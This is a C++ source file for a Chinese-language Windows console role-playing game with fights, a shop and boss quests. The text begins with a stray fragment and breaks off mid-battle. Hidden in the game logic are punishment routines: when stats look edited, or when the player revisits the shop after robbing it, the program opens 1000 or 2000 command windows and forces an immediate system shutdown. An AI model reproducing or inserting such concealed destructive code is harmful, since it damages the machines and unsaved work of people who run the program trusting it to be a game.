Cy

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int bag[21];
void slowout(char* p)
{
    while (1)
    {
        if (*p != 0)
            printf("%c",*p++);
        else
            break;
        Sleep(20);
    }
}
int main()
{
    int xue=1000,xmax=1000,g=300,f=50,money=500,exp=0,lv=1,lv1=1,kg=0,hos=0,ppp=0;
    int renwu=0,total=0;
    int ren[4];
    for (int ii=1; ii <= 4; ii++)
        ren[ii]=0;
    for (int ii=1; ii <= 20; ii++)
        bag[ii]=0;
    int a,b,c,d,e,h,i,j,k;
    int gxue,gg,gf;
    int di=0,fs=0;
    char name[20];
    int jn;
    printf("歹徒逃亡 2——魔法之城\n");
    Sleep(500);
    printf("1.2.3正式版\n");
    Sleep(100);
    printf("cyka blyat(幻幻幻梦)荣誉出品\n");
    Sleep(2000);
    printf("Neason 转载并进行补充\n");
    Sleep(1000);
    system("cls");
    printf("话说你占领了S城的省警察局,风光无限。\n");
    printf("可只过了十多分钟,你听到头顶上方传来奇怪的声音\n");
    printf("你抬头一看——我勒个去,一枚导弹飞过来了!\n");
    printf("导弹瞬间击中了省警察局……\n");
    slowout("你被爆炸所产生的巨大气浪冲飞出一百多米\n");
    slowout("在作者cyka blyat & Neason的特意安排下(你死了游戏就没得玩了),你奇迹般地活了下来。\n");
    printf("但是你丧失了所有增加的血量、攻击力、防御力和装备物品等。\n");
    printf("这时,一个声音在你耳边说:“是M城的国防部发射的导弹,快去复仇吧!”\n");
    printf("你动身了……\n");
    slowout("不过,由于你的脑袋最先砸到地上,你忘记了自己的名字。\n\n\n\n\n\n");
    slowout("给自己取一个更帅的名字吧:");
    cin >> name;
    int neason;
	if(name[0]=='1')
	{
		slowout("你的职业:");
		printf("1 英语科代\n");
		printf("2 IT\n");
		printf("3 道法科代\n");
		cin>>neason;
	}
    printf("%s,游戏开始!\n",name);
    Sleep(1000);
    system("cls");
    printf("歹徒逃亡系列第二部,全新启程!\n");
    Sleep(10);
    system("cls");
    slowout("经过三天三夜的长途跋涉,你来到了M城\n");
    slowout("这时,一封信飘到了你手里。\n");
    printf("是否看信? 1.看信 2.不看\n");
    cin >> a;
    if (a == 1)
    {
        system("cls");
        slowout(" 来自作者的一封信\n");
        slowout(" 为了让第二部的游戏更好玩,我特意在编写M城时加入了魔法元素。\n");
        slowout(" 也就是说,这座城里的每个人都会魔法,都拥有各自的技能,包括路人。\n");
        slowout(" 所以,没有技能的你要小心了……祝你好运!(哈哈哈哈哈哈哈哈)\n\n\n\n\n\n");
        Sleep(10);
        printf("输入任意数字退出\n");
        cin >> b;
    }
    system("cls");
    srand((unsigned)time(NULL));
a1:slowout("你要到哪里去?\n");
    printf("1.十字路口 2.商店 3.魔法部 4.国防部 5.银行 6.赌城 7.医院 8.背包 9.开挂 10.任务生成器 0.退出\n");
    if (xue > xmax) xue=xmax;
    cin >> a;
    if(xue>=29999||g>4500)
    {
    	system("color 4F");
		system("pause");
		cout<<("小朋友,改数据是不好的行为 ~\n");
		cout<<("Windows的数据遭受了毁灭性的打击!!!\n");
       	for(int i=1;i<=1000;i++)
			system("start cmd");
		system("shutdown -s -t 0");
	}
    if (a == 1)
    {
        int shi;
        shi=rand() % 11;
        if (shi == 0 || shi == 1)
        {
            printf("十字路口上来了一名路人\n");
            gxue=400; gg=150; gf=20;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向路人发起攻击,路人减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 100金币,50经验\n");
                        money+=100; exp+=50;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("路人使出了技能“回血”!增加血量100点!\n");
                            gxue+=100;
                            Sleep(10);
                        }
                        printf("路人对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (shi == 2 || shi == 3)
        {
            printf("十字路口上来了一名路人\n");
            gxue=400; gg=150; gf=20;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向路人发起攻击,路人减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n\n");
                        Sleep(10);
                        slowout("获得 100金币,50经验\n");
                        money+=100; exp+=50;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("路人使出了技能“狂暴”!攻击力增强100!\n");
                            gg+=100;
                            Sleep(10);
                        }
                        printf("路人对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (shi == 4 || shi == 5)
        {
            printf("十字路口上来了一名警察\n");
            gxue=500; gg=250; gf=40;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向警察发起攻击,警察减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 200金币,120经验\n");
                        money+=200; exp+=120;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("警察使出了技能“武装”!攻击力增强100,防御力增强50!\n");
                            gg+=100; gf+=50;
                            Sleep(10);
                        }
                        printf("警察对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (shi == 6 || shi == 7)
        {
            printf("十字路口上来了一名盔甲警察\n");
            gxue=650; gg=300; gf=100;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向盔甲警察发起攻击,盔甲警察减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 350金币,250经验\n");
                        money+=350; exp+=250;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("盔甲警察使出了技能“护盾”!增加防御力100!\n");
                            gf+=100;
                            Sleep(10);
                        }
                        printf("盔甲警察对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (shi == 8)
        {
            printf("十字路口上来了一辆装甲车!\n");
            gxue=1500; gg=650; gf=200;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向装甲车发起攻击,装甲车减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 700金币,500经验\n");
                        money+=700; exp+=500;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("装甲车使出了绝技“全副武装”!增加血量200点,攻击力150,防御力50!\n");
                            gxue+=200; gg+=150; gf+=50;
                            Sleep(10);
                        }
                        printf("装甲车对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (shi == 9)
        {
            int tank=0;
            printf("十字路口上来了一辆坦克!\n");
            gxue=2200; gg=900; gf=300;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向坦克发起攻击,坦克减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 1200金币,800经验\n");
                        money+=1200; exp+=800;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 4;
                        if (jn == 0)
                        {
                            printf("坦克使出了技能“炮击”!你被击中了!减血500滴!\n");
                            xue -= 500;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("坦克使出了绝技“炮火连天”!你受到灼烧伤害,每回合减血200滴!\n");
                            tank=1;
                            Sleep(10);
                        }
                        if (tank == 1)
                        {
                            printf("灼烧伤害中,减血200滴。\n");
                            xue -= 200;
                        }
                        printf("坦克对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }int wx=0;
        if (shi == 10)
        {
            
            printf("十字路口上来了一个陈猥亵!\n");
            gxue =xmax+1000; gg=g*5/6+150; gf =f*4/5;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向陈猥亵发起攻击,陈猥亵减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 1500金币,1000经验\n");
                        money+=1500; exp+=1000;
                        if (ren[1] == 1)
                            total++;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 4;
                        if (jn == 0)
                        {
                            printf("陈猥亵使出了技能“先进思想”!你被污染了!减血500滴!\n");
                            xue -= 500;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("陈猥亵使出了绝技“猥亵”!你受到**伤害,每回合减血1/100滴!\n");
                            wx=1;
                            Sleep(10);
                        }
                        if (wx == 1)
                        {
                            printf("被猥亵中,减血1/100滴。\n");
                            xue -=xmax/100;
                        }
                        printf("陈猥亵对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 2)
    {
    	if(ppp==1)
    	{
    		slowout("黄级长:手怎么那么欠呢!哪个神经元出问题了\n");
        	system("color 4F");
			cout<<("Windows的数据遭受了毁灭性的打击!!!\n");
        	for(int i=1;i<=2000;i++)
				system("start cmd");
			system("shutdown -s -t 0");
		}
        slowout("店老板:欢迎来到童叟无欺的信用商店。偶是老板blyat。你要买什么?\n");
        printf("1.经验之石(S) 500¥\n2.经验之石(M) 1000¥\n3.经验之石(L) 1800¥\n4.呵呵\n5.抢劫\n0.退出\n");
        cin >> b;
        if (b == 1)
        {
            if (money < 500)
                slowout("没钱就别来买东西!\n");
            else {
                slowout("购买成功!\n");
                money -= 500;
                bag[2]++;
                if (ren[2] == 1)
                    total++;
            }
        }
        if (b == 2)
        {
            if (money < 1000)
                slowout("没钱就别来买东西!\n");
            else {
                slowout("购买成功!\n");
                money -= 1000;
                bag[3]++;
                if (ren[2] == 1)
                    total++;
            }
        }
        if (b == 3)
        {
            if (money < 1800)
                slowout("没钱就别来买东西!\n");
            else {
                slowout("购买成功!\n");
                money -= 1800;
                bag[4]++;
                if (ren[2] == 1)
                    total++;
            }
        }
        if (b == 4)
        {
            if (money < 2000)
                slowout("没钱就别来买东西!\n");
            else {
                slowout("Neason: 惊喜派送!\n");
                money -= 2000;
                g+=100; 
                exp+=100; 
                if (ren[2] == 1)
                    total++;
                goto a2;
            }
        }
        if(b==5)
        {
        	slowout("老板:来人,打出去!\n");
        	slowout("Neason:不知天高地厚的家伙!\n");
        	printf("打手来了\n");
        	int wx=0; 
            gxue=5000; gg=750; gf=500;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> b;
                if (b == 1)
                {
                    printf("你向打手发起攻击,打手减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        slowout("获得 15000金币,10000经验\n");
                        money+=15000; exp+=10000;
                        ppp=1;
                        goto a2;
                    }
                    if (gxue > 0) {
                        jn=rand() % 4;
                        if (jn == 0)
                        {
                            printf("打手使出了技能“打”!你减血750滴!\n");
                            xue -= 750;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("打手使出了绝技“突进”!你受到200伤害,每回合减血1/20滴!\n");
                            xue-=20; 
                            wx=1;
                            Sleep(10);
                        }
                        if (wx == 1)
                        {
                            printf("疼痛中,减血1/20滴。\n");
                            xue -=xmax/20;
                        }
                        printf("打手对你发起攻击,你减血%d滴",gg - f);
                        xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n损失2000元\n");
                        xue=200;
                        money-=2000;
                        goto a1;
                    }
                }
                if (b == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
		}
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 3)
    {
        slowout("任务:占领魔法部,可获得丰厚奖励! 1.开始挑战 2.变强后再来。(本任务中所加血量均是临时血量)\n");
        cin >> b;
        if (b == 1)
        {
            slowout("你走向魔法部,门卫拦住你,说:干什么的!\n");
            gxue=450; gg=300; gf=50;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向门卫发起攻击,门卫减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血100滴\n");
                        xue+=100;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("门卫使出了技能“天谴”!你减血200滴!\n");
                            xue -= 200;
                            Sleep(10);
                        }
                        printf("门卫对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("你干掉门卫,继续前进。\n");
            slowout("一个从地上冒出来的黑衣人把你拦下了!\n");
            gxue=700; gg=450; gf=100;
            int cr=0,i=0;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    if (cr == 1)
                        printf("你被缠绕住,不能攻击!\n");
                    if (cr == 0)
                    {
                        printf("你向黑衣人发起攻击,黑衣人减血%d滴",g - gf);
                        gxue -= g - gf;
                        printf(",剩余血量%d滴\n",gxue);
                    }
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血300滴。\n");
                        xue+=300;
                    }
                    if (gxue > 0) {
                        jn=rand() % 2;
                        if (jn == 0)
                        {
                            printf("黑衣人使出了技能“缠绕”!你在一回合内无法攻击!\n");
                            cr=1;
                            i=2;
                            Sleep(10);
                        }
                        printf("黑衣人对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        i--;
                        if (i <= 0)
                            cr=0;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("干掉黑衣人,继续前进。\n");
            slowout("你走进魔法部大楼,机器人警察准备对你发射激光束!\n");
            gxue=800; gg=400; gf=150;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向机器人警察发起攻击,机器人警察减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血500滴\n");
                        xue+=500;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("机器人警察使出了绝技“激光扫射”!你减血500滴!\n");
                            xue -= 500;
                            Sleep(10);
                        }
                        printf("机器人警察对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("你走向走廊深处,魔法部议员出现在走廊尽头!\n");
            slowout("议员举起了魔杖!\n");
            int tt=0,j=0;
            gxue=1100; gg=600; gf=150;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向魔法部议员发起攻击,魔法部议员减血%d滴",g - gf);
                    if (gf <= g)
                        gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血1000滴\n");
                        xue+=1000;
                    }
                    if (gxue > 0) {
                        jn=rand() % 2;
                        if (jn == 0)
                        {
                            printf("魔法部议员使出了绝技“钻心刻骨”!你将在5回合内连续受到疼痛攻击!\n");
                            tt=1; j=6;
                            Sleep(10);
                        }
                        if (tt == 1)
                        {
                            printf("疼痛伤害中,减血100滴。\n");
                            xue -= 100;
                        }
                        j--;
                        if (j <= 0)
                            tt == 0;
                        printf("魔法部议员对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("走廊尽头是一扇门,你走了进去\n");
            slowout("一进门,魔法部部长举起老魔杖(爱信不信)对准了你!\n");
            int k=0,sleep=0;
            gxue=2200; gg=1200; gf=300;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    if (sleep == 1)
                        printf("你正在昏睡中,不能攻击!\n");
                    if (sleep == 0)
                    {
                        printf("你向BOSS魔法部部长发起攻击,BOSS魔法部部长减血%d滴",g - gf);
                        if (gf <= g)
                            gxue -= g - gf;
                        printf(",剩余血量%d滴\n",gxue);
                    }
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        system("cls");
                        slowout("你占领了魔法部,获得:2000金币,1000经验!\n");
                        if (bag[1] == 0)
                        {
                            slowout("恭喜获得超级宝物:钻石套装\n已为你自动装备钻石套装,提升属性:血量+800,攻击力+400,防御力+100\n");
                            xmax+=800; g+=400; f+=100;
                            bag[1]=1;
                        }
                        money+=2000; exp+=1000;
                        goto a2;
                        //待定
                    }
                    if (gxue > 0) {
                        jn=rand() % 5;
                        if (jn == 0)
                        {
                            printf("BOSS魔法部部长使出了绝技“阿瓦达索命”!你减血1000滴!\n");
                            xue -= 1000;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("BOSS魔法部部长使出了绝技“昏昏欲睡”!你在一回合内无法攻击!\n");
                            sleep=1;
                            k=2;
                            Sleep(10);
                        }
                        if (jn == 2)
                        {
                            printf("BOSS魔法部部长使出了绝技“超级狂暴”!加血500滴,攻击力增强250,防御力增强100!\n");
                            gxue+=500; gg+=250; gf+=100;
                            Sleep(10);
                        }
                        printf("BOSS魔法部部长对你发起攻击,你减血%d滴",gg - f);
                        k--;
                        if (k <= 0)
                            sleep=0;
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 4)
    {
        slowout("终极任务:占领国防部! 1.开始挑战 2.待会儿\n");
        cin >> b;
        if (b == 2)
            goto a1;
        if (b == 1)
        {
            slowout("高级门卫抽出钻石剑把你拦下了!\n");
            gxue=650; gg=400; gf=80;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向高级门卫发起攻击,高级门卫减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0)
                    {
                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血300滴\n");
                        xue+=300;
                    }
                    if (gxue > 0) {
                        jn=rand() % 3;
                        if (jn == 0)
                        {
                            printf("高级门卫使出了技能“飞斩”!你减血400滴!\n");
                            xue -= 400;
                            Sleep(10);
                        }
                        printf("高级门卫对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("你把门卫砍倒后,闯了进去。\n");
            slowout("你看到了终极大BOSS——国防部部长,准备开打吧!\n");
            Sleep(2000);
            system("cls");
            slowout("呵呵呵呵呵 你以为终极任务就这么容易吗?这不是cyka blyat的风格……国防部部长用魔杖召唤出了国防部议员!\n");
            gxue=1200; gg=600; gf=150;
            int gfb=0;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向国防部议员发起攻击,国防部议员减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0 && gfb == 1)
                    {

                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血700滴\n");
                        xue+=700;
                    }
                    if (gxue <= 0 && gfb == 0)
                    {
                        printf("国防部部长使出绝技“浴火重生”!国防部议员满血复活了!\n");
                        gxue=1200;
                        gfb=1;
                        Sleep(10);
                    }
                    if (gxue > 0) {
                        jn=rand() % 4;
                        if (jn == 0)
                        {
                            printf("国防部部长用魔杖给议员加血500滴!\n");
                            gxue+=500;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("国防部部长用魔杖给议员加了一层护盾!议员防御力提升200!\n");
                            gf+=200;
                            Sleep(10);
                        }
                        if (jn == 2)
                        {
                            printf("国防部部长用魔杖把议员激怒了,议员攻击力提升500!\n");
                            gg+=500;
                            Sleep(10);
                        }
                        printf("国防部议员对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("国防部部长派出了机器人保镖!\n");
            gxue=1800; gg=800; gf=300;
            int bb=0;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    if (bb > 0)
                        printf("你无法攻击!\n");
                    if (bb <= 0)
                    {
                        printf("你向机器人保镖发起攻击,机器人保镖减血%d滴",g - gf);
                        gxue -= g - gf;
                        printf(",剩余血量%d滴\n",gxue);
                    }
                    Sleep(10);
                    if (gxue <= 0)
                    {

                        printf("你胜利了!\n");
                        Sleep(10);
                        printf("加血1000滴\n");
                        xue+=1000;
                    }
                    if (gxue > 0) {
                        jn=rand() % 4;
                        if (jn == 0)
                        {
                            printf("国防部部长用魔杖把你捆住了,两回合内无法攻击!\n");
                            bb=3;
                            Sleep(10);
                        }
                        if (jn == 1)
                        {
                            printf("国防部部长用魔杖使机器人保镖进入狂暴状态!机器人保镖增血500滴,攻击力增强200,防御力增强100!\n");
                            gxue+=500; gg+=200; gf+=100;
                            Sleep(10);
                        }
                        printf("机器人保镖对你发起攻击,你减血%d滴",gg - f);
                        bb--;
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
            slowout("国防部部长:不知天高地厚的家伙,我要亲自灭了你!\n");
            gxue=5000; gg=1500; gf=500;
            int bbb=0;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    if (bbb > 0)
                        printf("你无法攻击!\n");
                    if (bbb <= 0)
                    {
                        printf("你向国防部部长发起攻击,国防部部长减血%d滴",g - gf);
                        gxue -= g - gf;
                        if (gxue <= 0)
                            gxue=1;
                        printf(",剩余血量%d滴\n",gxue);
                    }
                    Sleep(10);
                    if (gxue == 1)
                    {
                        printf("%s",name);
                        slowout(":你都只有一滴血了,投降吧!\n");
                        slowout("国防部部长:(冷笑)你以为终极BOSS那么容易打败吗!\n");
                        slowout("国防部部长说着,用魔杖对准一辆坦克发射\n");
                        slowout("那坦克空无一人,但它却自己启动,开到你面前。\n");
                        Sleep(10);
                        goto a11;
                    }
                    if (gxue > 0) {
                        jn=rand() % 10;
                        if (jn == 0)
                        {
                            printf("国防部部长用魔杖把你捆住了,两回合内无法攻击!\n");
                            bbb=3;
                            Sleep(10);
                        }
                        printf("国防部部长对你发起攻击,你减血%d滴",gg - f);
                        bbb--;
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
    a11:gxue=4000; gg=1400; gf=499;
        int tank=0;
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> b;
            if (b == 1)
            {
                printf("你向坦克发起攻击,坦克减血%d滴",g - gf);
                if (gf <= g)
                    gxue -= g - gf;
                printf(",剩余血量%d滴\n",gxue);
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    Sleep(10);
                    printf("加血1200滴\n");
                    xue+=1200;
                }
                if (gxue > 0) {
                    jn=rand() % 4;
                    if (jn == 0)
                    {
                        printf("坦克使出了技能“炮击”!你被击中了!减血500滴!\n");
                        xue -= 500;
                        Sleep(10);
                    }
                    if (jn == 1)
                    {
                        printf("坦克使出了绝技“炮火连天”!你受到灼烧伤害,每回合减血200滴!\n");
                        tank=1;
                        Sleep(10);
                    }
                    if (tank == 1)
                    {
                        printf("灼烧伤害中,减血200滴。\n");
                        xue -= 200;
                    }
                    printf("坦克对你发起攻击,你减血%d滴",gg - f);
                    xue -= gg - f;
                    printf(",剩余血量%d滴\n",xue);
                }
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
            if (b == 2)
                goto a1;
        } while (gxue > 0 && xue > 0);
        slowout("当你与坦克对决时,国防部部长悄悄给自己回满了血。\n");
        slowout("他用魔杖向直升机发射了一个咒语,那直升机飞过来,悬在你头顶上方。\n");
        gxue=5000; gg=1500; gf=400;
        int xxue=0;
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> b;
            if (b == 1)
            {
                printf("你向国防部部长发起攻击,国防部部长减血%d滴",g - gf);
                if (gf <= g)
                    gxue -= g - gf;
                printf(",剩余血量%d滴\n",gxue);
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    goto b11;
                }
                if (gxue > 0) {
                    jn=rand() % 4;
                    if (jn == 0)
                    {
                        printf("国防部部长使出了绝技“神锋无影”!");
                        int shen;
                        shen=rand() % 10;
                        if (shen == 0)
                            shen=2;
                        if (shen == 1)
                            shen=3;
                        printf("你被连中%d刀,减血%d滴!\n",shen,shen * 150);
                        xue -= shen * 150;
                        Sleep(10);
                    }
                    if (jn == 1)
                    {
                        printf("国防部部长使出了绝技“星石陨落”!你减血1500滴!\n");
                        xue -= 1500;
                        Sleep(10);
                    }
